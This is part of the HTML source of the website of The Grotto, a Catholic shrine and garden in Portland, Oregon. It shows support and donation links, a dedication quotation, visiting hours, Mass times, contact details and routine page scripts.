96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM144 144c0-8.84 7.16-16 16-16h48V80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v48h48c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-48v112c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V192h-48c-8.84 0-16-7.16-16-16v-32zm236.8 304H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8v64z"></path></svg> </span> 985 <span class="elementor-button-text">Grotto History</span> 986 </span> 987 </a> 988 </div> 989 </div> 990 <div class="elementor-element elementor-element-12df4f1 e-con-full e-flex e-con e-child" data-id="12df4f1" data-element_type="container" data-e-type="container"> 991 <div class="elementor-element elementor-element-ca75e73 animated-slow elementor-mobile-align-center elementor-invisible elementor-widget elementor-widget-button" data-id="ca75e73" data-element_type="widget" data-e-type="widget" data-settings="{"_animation":"fadeIn","_animation_delay":400,"_animation_mobile":"none"}" data-widget_type="button.default"> 992 <a class="elementor-button elementor-button-link elementor-size-sm" href="/about/about-the-servites/"> 993 <span class="elementor-button-content-wrapper"> 994 <span class="elementor-button-icon"> 995 <svg aria-hidden="true" class="e-font-icon-svg e-fas-church" viewBox="0 0 640 512" xmlns="http://www.w3.org/2000/svg"><path d="M464.46 246.68L352 179.2V128h48c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-48V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v48h-48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v51.2l-112.46 67.48A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.65-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.54A32.024 32.024 0 0 0 0 395.96zm620.61-29.42L512 320v192h112c8.84 0 16-7.16 16-16V395.96c0-12.8-7.63-24.37-19.39-29.42z"></path></svg> </span> 996 <span class="elementor-button-text">Servite History</span> 997 </span> 998 </a> 999 </div> 1000 </div> 1001 </div> 1002 </div> 1003 <div class="elementor-element elementor-element-11a84ca e-flex e-con-boxed e-con e-parent" data-id="11a84ca" data-element_type="container" data-e-type="container"> 1004 <div class="e-con-inner"> 1005 <div class="elementor-element elementor-element-0b5075e elementor-widget elementor-widget-heading" data-id="0b5075e" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 1006 <h2 class="elementor-heading-title elementor-size-default">Support Our Ministry</h2> </div> 1007 </div> 1008 </div> 1009 <div class="elementor-element elementor-element-02f7728 e-flex e-con-boxed e-con e-parent" data-id="02f7728" data-element_type="container" data-e-type="container"> 1010 <div class="e-con-inner"> 1011 <div class="elementor-element elementor-element-691059d e-con-full e-flex e-con e-child" data-id="691059d" data-element_type="container" data-e-type="container"> 1012 <div class="elementor-element elementor-element-e9d3df0 e-con-full e-flex e-con e-child" data-id="e9d3df0" data-element_type="container" data-e-type="container"> 1013 <div class="elementor-element elementor-element-358a136 elementor-widget elementor-widget-image" data-id="358a136" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"> 1014 <a href="/support/donate/"> 1015 <img loading="lazy" decoding="async" width="700" height="700" src="https://thegrotto.org/wp-content/uploads/2025/10/MaryOurMother_Donate_web-1.jpg" class="attachment-large size-large wp-image-487" alt="" srcset="https://thegrotto.org/wp-content/uploads/2025/10/MaryOurMother_Donate_web-1.jpg 700w, https://thegrotto.org/wp-content/uploads/2025/10/MaryOurMother_Donate_web-1-300x300.jpg 300w, https://thegrotto.org/wp-content/uploads/2025/10/MaryOurMother_Donate_web-1-150x150.jpg 150w, https://thegrotto.org/wp-content/uploads/2025/10/MaryOurMother_Donate_web-1-600x600.jpg 600w" sizes="(max-width: 700px) 100v
1015w, 700px" /> </a> 1016 </div> 1017 <div class="elementor-element elementor-element-0c9fe7a elementor-widget elementor-widget-heading" data-id="0c9fe7a" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 1018 <h2 class="elementor-heading-title elementor-size-default"><a href="/support/donate/">Donate</a></h2> </div> 1019 </div> 1020 </div> 1021 <div class="elementor-element elementor-element-3b0bd40 e-con-full e-flex e-con e-child" data-id="3b0bd40" data-element_type="container" data-e-type="container"> 1022 <div class="elementor-element elementor-element-bfb8f31 e-con-full e-flex e-con e-child" data-id="bfb8f31" data-element_type="container" data-e-type="container"> 1023 <div class="elementor-element elementor-element-d86584b elementor-widget elementor-widget-image" data-id="d86584b" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"> 1024 <a href="/support/volunteer/"> 1025 <img loading="lazy" decoding="async" width="700" height="700" src="https://thegrotto.org/wp-content/uploads/2025/10/Angel_Volunteer_web-1.jpg" class="attachment-large size-large wp-image-488" alt="" srcset="https://thegrotto.org/wp-content/uploads/2025/10/Angel_Volunteer_web-1.jpg 700w, https://thegrotto.org/wp-content/uploads/2025/10/Angel_Volunteer_web-1-300x300.jpg 300w, https://thegrotto.org/wp-content/uploads/2025/10/Angel_Volunteer_web-1-150x150.jpg 150w, https://thegrotto.org/wp-content/uploads/2025/10/Angel_Volunteer_web-1-600x600.jpg 600w" sizes="(max-width: 700px) 100v
1025w, 700px" /> </a> 1026 </div> 1027 <div class="elementor-element elementor-element-6850121 elementor-widget elementor-widget-heading" data-id="6850121" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 1028 <h2 class="elementor-heading-title elementor-size-default"><a href="/support/volunteer/">Volunteer</a></h2> </div> 1029 </div> 1030 </div> 1031 <div class="elementor-element elementor-element-d081d2c e-con-full e-flex e-con e-child" data-id="d081d2c" data-element_type="container" data-e-type="container"> 1032 <div class="elementor-element elementor-element-82a18c7 e-con-full e-flex e-con e-child" data-id="82a18c7" data-element_type="container" data-e-type="container"> 1033 <div class="elementor-element elementor-element-bc3cebd elementor-widget elementor-widget-image" data-id="bc3cebd" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"> 1034 <a href="/support/friends-of-the-grotto/"> 1035 <img loading="lazy" decoding="async" width="700" height="700" src="https://thegrotto.org/wp-content/uploads/2025/10/Waterfall_FriendsOfTheGrotto_web-1.jpg" class="attachment-large size-large wp-image-489" alt="" srcset="https://thegrotto.org/wp-content/uploads/2025/10/Waterfall_FriendsOfTheGrotto_web-1.jpg 700w, https://thegrotto.org/wp-content/uploads/2025/10/Waterfall_FriendsOfTheGrotto_web-1-300x300.jpg 300w, https://thegrotto.org/wp-content/uploads/2025/10/Waterfall_FriendsOfTheGrotto_web-1-150x150.jpg 150w, https://thegrotto.org/wp-content/uploads/2025/10/Waterfall_FriendsOfTheGrotto_web-1-600x600.jpg 600w" sizes="(max-width: 700px) 100v
1035w, 700px" /> </a> 1036 </div> 1037 <div class="elementor-element elementor-element-9d0c1b4 elementor-widget elementor-widget-heading" data-id="9d0c1b4" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 1038 <h2 class="elementor-heading-title elementor-size-default"><a href="/support/friends-of-the-grotto/">Friends of the Grotto</a></h2> </div> 1039 </div> 1040 </div> 1041 <div class="elementor-element elementor-element-3f244ab e-con-full e-flex e-con e-child" data-id="3f244ab" data-element_type="container" data-e-type="container"> 1042 <div class="elementor-element elementor-element-94a691b e-con-full e-flex e-con e-child" data-id="94a691b" data-element_type="container" data-e-type="container"> 1043 <div class="elementor-element elementor-element-6170bb9 elementor-widget elementor-widget-image" data-id="6170bb9" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"> 1044 <a href="/support/legacy-gifts/"> 1045 <img loading="lazy" decoding="async" width="700" height="700" src="https://thegrotto.org/wp-content/uploads/2025/10/Christus_LegacyGifts_web-1.jpg" class="attachment-large size-large wp-image-490" alt="" srcset="https://thegrotto.org/wp-content/uploads/2025/10/Christus_LegacyGifts_web-1.jpg 700w, https://thegrotto.org/wp-content/uploads/2025/10/Christus_LegacyGifts_web-1-300x300.jpg 300w, https://thegrotto.org/wp-content/uploads/2025/10/Christus_LegacyGifts_web-1-150x150.jpg 150w, https://thegrotto.org/wp-content/uploads/2025/10/Christus_LegacyGifts_web-1-600x600.jpg 600w" sizes="(max-width: 700px) 100v
1045w, 700px" /> </a> 1046 </div> 1047 <div class="elementor-element elementor-element-1edfa9d elementor-widget elementor-widget-heading" data-id="1edfa9d" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 1048 <h2 class="elementor-heading-title elementor-size-default"><a href="/support/legacy-gifts/">Legacy Gifts</a></h2> </div> 1049 </div> 1050 </div> 1051 </div> 1052 </div> 1053 <div class="elementor-element elementor-element-2d8f7422 e-con-full e-flex e-con e-parent" data-id="2d8f7422" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic"}"> 1054 <div class="elementor-element elementor-element-c274f40 e-con-full animated-slow e-flex elementor-invisible e-con e-child" data-id="c274f40" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic","animation":"fadeInLeft","animation_mobile":"none"}"> 1055 <div class="elementor-element elementor-element-7c22f08f elementor-widget elementor-widget-text-editor" data-id="7c22f08f" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 1056 <p><em>âLet this be a sanctuary of peace for all peoples of the earth, and surely in this day a sanctuary is needed. Torn with differences, strife, and grief, the world needs sanctuary where the human spirit can seek peace and consolation.</em>â </p> </div> 1057 <div class="elementor-element elementor-element-7edf98b elementor-widget elementor-widget-text-editor" data-id="7edf98b" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 1058 <p><strong>-Archbishop Alexander Christie, at the Dedication of the Shrine in 1924.</strong></p> </div> 1059 </div> 1060 </div> 1061 <div class="elementor-element elementor-element-b4ade95 e-flex e-con-boxed e-con e-parent" data-id="b4ade95" data-element_type="container" data-e-type="container"> 1062 <div class="e-con-inner"> 1063 </div> 1064 </div> 1065 </div> 1066 1067 1068 </div> 1069 1070 1071</main> 1072 1073 <footer data-elementor-type="footer" data-elementor-id="50" class="elementor elementor-50 elementor-location-footer" data-elementor-post-type="elementor_library"> 1074 <div class="elementor-element elementor-element-0987aab e-con-full e-flex e-con e-parent" data-id="0987aab" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic"}"> 1075 <div class="elementor-element elementor-element-f485613 elementor-widget-divider--view-line elementor-widget elementor-widget-divider" data-id="f485613" data-element_type="widget" data-e-type="widget" data-widget_type="divider.default"> 1076 <div class="elementor-divider"> 1077 <span class="elementor-divider-separator"> 1078 </span> 1079 </div> 1080 </div> 1081 </div> 1082 <div class="elementor-element elementor-element-5bd685a e-flex e-con-boxed e-con e-parent" data-id="5bd685a" data-element_type="container" data-e-type="container"> 1083 <div class="e-con-inner"> 1084 <div class="elementor-element elementor-element-84b04dc elementor-widget elementor-widget-shortcode" data-id="84b04dc" data-element_type="widget" data-e-type="widget" data-widget_type="shortcode.default"> 1085 <div class="elementor-shortcode"><div class="gtranslate_wrapper" id="gt-wrapper-34373515"></div></div> 1086 </div> 1087 </div> 1088 </div> 1089 <div class="elementor-element elementor-element-dacad24 e-flex e-con-boxed e-con e-parent" data-id="dacad24" data-element_type="container" data-e-type="container"> 1090 <div class="e-con-inner"> 1091 <div class="elementor-element elementor-element-330890d e-con-full e-flex e-con e-child" data-id="330890d" data-element_type="container" data-e-type="container"> 1092 <div class="elementor-element elementor-element-d336103 elementor-widget elementor-widget-heading" data-id="d336103" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 1093 <h2 class="elementor-heading-title elementor-size-default">Hours (9/8/26 - 10/1/26)</h2> </div> 1094 <div class="elementor-element elementor-element-8b54bf1 elementor-widget elementor-widget-text-editor" data-id="8b54bf1" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 1095 <p><strong>
1095Grounds: 9 a.m. â 6:30 p.m. </strong>(Daily) <em>Admission to the Upper Gardens is sold until 5:30 p.m. with gardens closing at 8 p.m.</em><br /><strong>Gift Shop: 9 a.m. â 6:30 p.m. </strong>(Daily)</p> </div> 1096 </div> 1097 <div class="elementor-element elementor-element-89faecc e-con-full e-flex e-con e-child" data-id="89faecc" data-element_type="container" data-e-type="container"> 1098 <div class="elementor-element elementor-element-e0b5d82 elementor-widget elementor-widget-heading" data-id="e0b5d82" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 1099 <h2 class="elementor-heading-title elementor-size-default">Policies</h2> </div> 1100 <div class="elementor-element elementor-element-98a600b elementor-widget elementor-widget-text-editor" data-id="98a600b" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 1101 <p><a href="/privacy-policy">Privacy Policy</a></p> </div> 1102 </div> 1103 <div class="elementor-element elementor-element-4af073e e-con-full e-flex e-con e-child" data-id="4af073e" data-element_type="container" data-e-type="container"> 1104 <div class="elementor-element elementor-element-468a411 elementor-widget elementor-widget-heading" data-id="468a411" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 1105 <h2 class="elementor-heading-title elementor-size-default">Leave a Review</h2> </div> 1106 <div class="elementor-element elementor-element-8bf2834 e-grid-align-left elementor-shape-rounded elementor-grid-0 elementor-widget elementor-widget-social-icons" data-id="8bf2834" data-element_type="widget" data-e-type="widget" data-widget_type="social-icons.default"> 1107 <div class="elementor-social-icons-wrapper elementor-grid" role="list"> 1108 <span class="elementor-grid-item" role="listitem"> 1109 <a class="elementor-icon elementor-social-icon elementor-social-icon-yelp elementor-repeater-item-5f34402" href="https://www.yelp.com/writeareview/biz/RVOw2Dy6Vv3crbox4jSHiQ?return_url=%2Fbiz%2FRVOw2Dy6Vv3crbox4jSHiQ&review_origin=biz-details-war-button" target="_blank"> 1110 <span class="elementor-screen-only">Yelp</span> 1111 <svg aria-hidden="true" class="e-font-icon-svg e-fab-yelp" viewBox="0 0 384 512" xmlns="http://www.w3.org/2000/svg"><path d="M42.9 240.32l99.62 48.61c19.2 9.4 16.2 37.51-4.5 42.71L30.5 358.45a22.79 22.79 0 0 1-28.21-19.6 197.16 197.16 0 0 1 9-85.32 22.8 22.8 0 0 1 31.61-13.21zm44 239.25a199.45 199.45 0 0 0 79.42 32.11A22.78 22.78 0 0 0 192.94 490l3.9-110.82c.7-21.3-25.5-31.91-39.81-16.1l-74.21 82.4a22.82 22.82 0 0 0 4.09 34.09zm145.34-109.92l58.81 94a22.93 22.93 0 0 0 34 5.5 198.36 198.36 0 0 0 52.71-67.61A23 23 0 0 0 364.17 370l-105.42-34.26c-20.31-6.5-37.81 15.8-26.51 33.91zm148.33-132.23a197.44 197.44 0 0 0-50.41-69.31 22.85 22.85 0 0 0-34 4.4l-62 91.92c-11.9 17.7 4.7 40.61 25.2 34.71L366 268.63a23 23 0 0 0 14.61-31.21zM62.11 30.18a22.86 22.86 0 0 0-9.9 32l104.12 180.44c11.7 20.2 42.61 11.9 42.61-11.4V22.88a22.67 22.67 0 0 0-24.5-22.8 320.37 320.37 0 0 0-112.33 30.1z"></path></svg> </a> 1112 </span> 1113 <span class="elementor-grid-item" role="listitem"> 1114 <a class="elementor-icon elementor-social-icon elementor-social-icon-facebook elementor-repeater-item-457cdd9" href="https://www.facebook.com/profile.php?id=100064850851625&sk=reviews" target="_blank"> 1115 <span class="elementor-screen-only">Facebook</span> 1116 <svg aria-hidden="true" class="e-font-icon-svg e-fab-facebook" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path d="M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z"></path></svg> </a> 1117 </span> 1118 <span class="elementor-grid-item" role="listitem"> 1119 <a class="elementor-icon elementor-social-icon elementor-social-icon-google elementor-repeater-item-1c30006" href="https://www.google.com/search?q=the+grotto&rlz=1C1VDKB_enUS1027US1027&oq=the+grotto&gs_lcrp=EgZjaHJvbWUqBggAEEUYOzIGCAAQRRg7MgYIARBFGDsyBggCEEUYOzINCAMQLhiDARixAxiABDIQCAQQLhiDARixAxiABBiKBTIGCAUQRRg8MgYIBhBFGDwyBggHEEUYPNIBCDI0MjFqMGo3qAIAsAIA&sourceid=chrome&ie=UTF-8&lqi=Cgp0aGUgZ3JvdHRvSIONtQJaHBAAEAEYABgBIgp0aGUgZ3JvdHRvKgYIAhAAEAGSARNoaXN0b3JpY2FsX2xhbmRtYXJrqgFNCgkvbS8wNHZrbjMQASoOIgp0aGUgZ3JvdHRvKAAyHhABIhpk4_aMJ4PKx-bQtqG2XcG-TRGrs2pxLC4aJzIOEAIiCnRoZSBncm90dG_gAQA#lkt=LocalPoiReviews&rlimm=13985209986835420330&lrd=0x5495a1512597471d:0xc2157262de9214aa,3,,,," target="_blank"> 1120 <span class="elementor-screen-only">Google</span> 1121 <svg aria-hidden="true" class="e-font-icon-svg e-fab-google" viewBox="0 0 488 512" xmlns="http://www.w3.org/2000/svg"><path d="M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z"></path></svg> </a> 1122 </span> 1123 </div> 1124 </div>
1125 </div> 1126 <div class="elementor-element elementor-element-5997553 e-con-full e-flex e-con e-child" data-id="5997553" data-element_type="container" data-e-type="container"> 1127 <div class="elementor-element elementor-element-93095ec elementor-widget elementor-widget-heading" data-id="93095ec" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 1128 <h2 class="elementor-heading-title elementor-size-default">Address</h2> </div> 1129 <div class="elementor-element elementor-element-c886293 elementor-widget elementor-widget-text-editor" data-id="c886293" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 1130 <p><a href="https://www.google.com/maps/dir//8840+NE+Skidmore+St,+Portland,+OR+97220/data=!4m6!4m5!1m1!4e2!1m2!1m1!1s0x5495a15125f7d675:0x80721535470bb7ff?sa=X&ved=1t:707&ictx=111" target="_blank" rel="noopener">8840 NE Skidmore St. <br />Portland, OR 97220</a></p><p>(Entrance at NE 85<sup>th</sup>Â & Sandy Blvd.)</p> </div> 1131 <div class="elementor-element elementor-element-5f99533 elementor-widget elementor-widget-heading" data-id="5f99533" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 1132 <h2 class="elementor-heading-title elementor-size-default">Mass Times</h2> </div> 1133 <div class="elementor-element elementor-element-64f06dd elementor-widget elementor-widget-text-editor" data-id="64f06dd" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 1134 <p><strong>Daily Mass:</strong> 12 noon<br /><strong>Sunday Masses:</strong> 8 a.m., 10 a.m., 12 noon</p><p><a href="/mass-events/mass-schedule/">Full Mass Schedule</a></p> </div> 1135 </div> 1136 <div class="elementor-element elementor-element-7160a0c e-con-full e-flex e-con e-child" data-id="7160a0c" data-element_type="container" data-e-type="container"> 1137 <div class="elementor-element elementor-element-05968fe elementor-widget elementor-widget-heading" data-id="05968fe" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 1138 <h2 class="elementor-heading-title elementor-size-default">Quick Links</h2> </div> 1139 <div class="elementor-element elementor-element-95c0c31 elementor-widget elementor-widget-text-editor" data-id="95c0c31" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 1140 <p><a href="/sitemap/">Sitemap</a><br /><a href="/about/contact-us/">Contact Us</a><br /><a href="/christmas/">Christmas Festival of Lights</a><br /><a href="/about/daily-e-news/">E-News Signup</a><br /><a href="/support/">Support Us</a></p> </div> 1141 </div> 1142 <div class="elementor-element elementor-element-274bf41 e-con-full e-flex e-con e-child" data-id="274bf41" data-element_type="container" data-e-type="container"> 1143 <div class="elementor-element elementor-element-cd232de elementor-widget elementor-widget-heading" data-id="cd232de" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 1144 <h2 class="elementor-heading-title elementor-size-default">Follow Us</h2> </div> 1145 <div class="elementor-element elementor-element-c9c9e61 e-grid-align-left elementor-shape-rounded elementor-grid-0 elementor-widget elementor-widget-social-icons" data-id="c9c9e61" data-element_type="widget" data-e-type="widget" data-widget_type="social-icons.default"> 1146 <div class="elementor-social-icons-wrapper elementor-grid" role="list"> 1147 <span class="elementor-grid-item" role="listitem"> 1148 <a class="elementor-icon elementor-social-icon elementor-social-icon-instagram elementor-repeater-item-470cafb" href="https://www.instagram.com/thegrottopdx" target="_blank"> 1149 <span class="elementor-screen-only">Instagram</span> 1150 <svg aria-hidden="true" class="e-font-icon-svg e-fab-instagram" viewBox="0 0 448 512" xmlns="http://www.w3.org/2000/svg"><path d="M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z"></path></svg> </a> 1151 </span> 1152 <span class="elementor-grid-item" role="listitem"> 1153 <a class="elementor-icon elementor-social-icon elementor-social-icon-facebook elementor-repeater-item-05c2bb9" href="https://www.facebook.com/profile.php?id=100064850851625" target="_blank"> 1154 <span class="elementor-screen-only">Facebook</span> 1155 <svg aria-hidden="true" class="e-font-icon-svg e-fab-facebook" viewB
1155ox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path d="M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z"></path></svg> </a> 1156 </span> 1157 <span class="elementor-grid-item" role="listitem"> 1158 <a class="elementor-icon elementor-social-icon elementor-social-icon-youtube elementor-repeater-item-60087e4" href="https://www.youtube.com/user/TheGrottoPortland" target="_blank"> 1159 <span class="elementor-screen-only">Youtube</span> 1160 <svg aria-hidden="true" class="e-font-icon-svg e-fab-youtube" viewBox="0 0 576 512" xmlns="http://www.w3.org/2000/svg"><path d="M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z"></path></svg> </a> 1161 </span> 1162 <span class="elementor-grid-item" role="listitem"> 1163 <a class="elementor-icon elementor-social-icon elementor-social-icon-twitter elementor-repeater-item-457cdd9" href="https://x.com/thegrottopdx" target="_blank"> 1164 <span class="elementor-screen-only">Twitter</span> 1165 <svg aria-hidden="true" class="e-font-icon-svg e-fab-twitter" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"></path></svg> </a> 1166 </span> 1167 </div> 1168 </div> 1169 <div class="elementor-element elementor-element-c8ff07e elementor-widget elementor-widget-heading" data-id="c8ff07e" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 1170 <h2 class="elementor-heading-title elementor-size-default">The Grotto</h2> </div> 1171 <div class="elementor-element elementor-element-fb439ca elementor-widget elementor-widget-text-editor" data-id="fb439ca" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 1172 <p>The National Sanctuary of Our Sorrowful Mother, The Grotto, is an internationally-renowned Catholic shrine and botanical garden located minutes from downtown Portland, serving over 300,000 visitors annually.</p> </div> 1173 </div> 1174 </div> 1175 </div> 1176 <div class="elementor-element elementor-element-5e2c444 e-flex e-con-boxed e-con e-parent" data-id="5e2c444" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic"}"> 1177 <div class="e-con-inner"> 1178 <div class="elementor-element elementor-element-c5a8fac elementor-widget elementor-widget-text-editor" data-id="c5a8fac" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 1179 <p><strong>Copyright 2026 | The Grotto | All Rights Reserved</strong></p> </div> 1180 </div> 1181 </div> 1182 </footer> 1183
1184<script type="speculationrules"> 1185{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/hello-elementor/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]} 1186</script>
1186 1187
1187<script> 1188 ( function ( body ) { 1189 'use strict'; 1190 body.className = body.className.replace( /\btribe-no-js\b/, 'tribe-js' ); 1191 } )( document.body ); 1192 </script>
1192 1193
1193<script type="text/javascript"> 1194 function genesisBlocksShare( url, title, w, h ){ 1195 var left = ( window.innerWidth / 2 )-( w / 2 ); 1196 var top = ( window.innerHeight / 2 )-( h / 2 ); 1197 return window.open(url, title, 'toolbar=no, location=no, directories=no, status=no, menubar=no, scrollbars=no, resizable=no, copyhistory=no, width=600, height=600, top='+top+', left='+left); 1198 } 1199 </script>
1199 1200
1200<script> 1201 const registerAllyAction = () => { 1202 if ( ! window?.ElementorProFrontendConfig || ! window?.elementorFrontend?.utils?.urlActions ) { 1203 return; 1204 } 1205 1206 elementorFrontend.utils.urlActions.addAction( 'allyWidget:open', () => { 1207 if (window?.ea11yWidget?.widget?.open) { 1208 return window.ea11yWidget.widget.isOpen() 1209 ? window.ea11yWidget.widget.close() 1210 : window.ea11yWidget.widget.open(); 1211 } 1212 } ); 1213 }; 1214 1215 const waitingLimit = 30; 1216 let retryCounter = 0; 1217 1218 const waitForElementorPro = () => { 1219 return new Promise( ( resolve ) => { 1220 const intervalId = setInterval( () => { 1221 if ( retryCounter === waitingLimit ) { 1222 resolve( null ); 1223 } 1224 1225 retryCounter++; 1226 1227 if ( window.elementorFrontend && window?.elementorFrontend?.utils?.urlActions ) { 1228 clearInterval( intervalId ); 1229 resolve( window.elementorFrontend ); 1230 } 1231 }, 100 ); // Check every 100 milliseconds for availability of elementorFrontend 1232 }); 1233 }; 1234 1235 waitForElementorPro().then( () => { registerAllyAction(); }); 1236 </script>
1236 1237
1237<script> /* <![CDATA[ */var tribe_l10n_datatables = {"aria":{"sort_ascending":": activate to sort column ascending","sort_descending":": activate to sort column descending"},"length_menu":"Show _MENU_ entries","empty_table":"No data available in table","info":"Showing _START_ to _END_ of _TOTAL_ entries","info_empty":"Showing 0 to 0 of 0 entries","info_filtered":"(filtered from _MAX_ total entries)","zero_records":"No matching records found","search":"Search:","all_selected_text":"All items on this page were selected. ","select_all_link":"Select all pages","clear_selection":"Clear Selection.","pagination":{"all":"All","next":"Next","previous":"Previous"},"select":{"rows":{"0":"","_":": Selected %d rows","1":": Selected 1 